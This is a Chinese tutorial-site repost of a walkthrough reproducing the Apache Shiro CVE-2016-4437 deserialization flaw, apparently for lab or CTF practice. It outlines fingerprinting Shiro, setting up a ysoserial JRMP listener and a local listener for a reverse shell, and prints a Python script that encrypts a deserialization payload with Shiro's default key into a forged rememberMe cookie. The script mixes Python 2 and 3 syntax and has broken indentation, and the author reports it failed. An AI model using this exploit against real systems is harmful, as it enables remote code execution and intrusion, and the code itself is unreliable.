C/C++教程

Apache shiro cve-2016-4437复现

本文主要是介绍Apache shiro cve-2016-4437复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

漏洞描述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

漏洞条件

shiro版本 <=1.2.4

漏洞复现

image-20211120213044618

抓包发现,有rememberMe=deleteMe,判断是shiro。。

image-20211120215920026

反弹shell编码网站https://www.jackson-t.ca/runtime-exec-payloads.html

使用ysoserial监听端口

image-20211121101141085

本地监听端口

image-20211121101216988

然后修改Cookie,将下面脚本生成的payload,再次发包。

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

image-20211121103927534但是,没有任何反应。。。。。。。

练习题目可以看看----红明谷21的javaweb

参考

https://cloud.tencent.com/developer/article/1540882

https://www.freebuf.com/vuls/284529.html

这篇关于Apache shiro cve-2016-4437复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!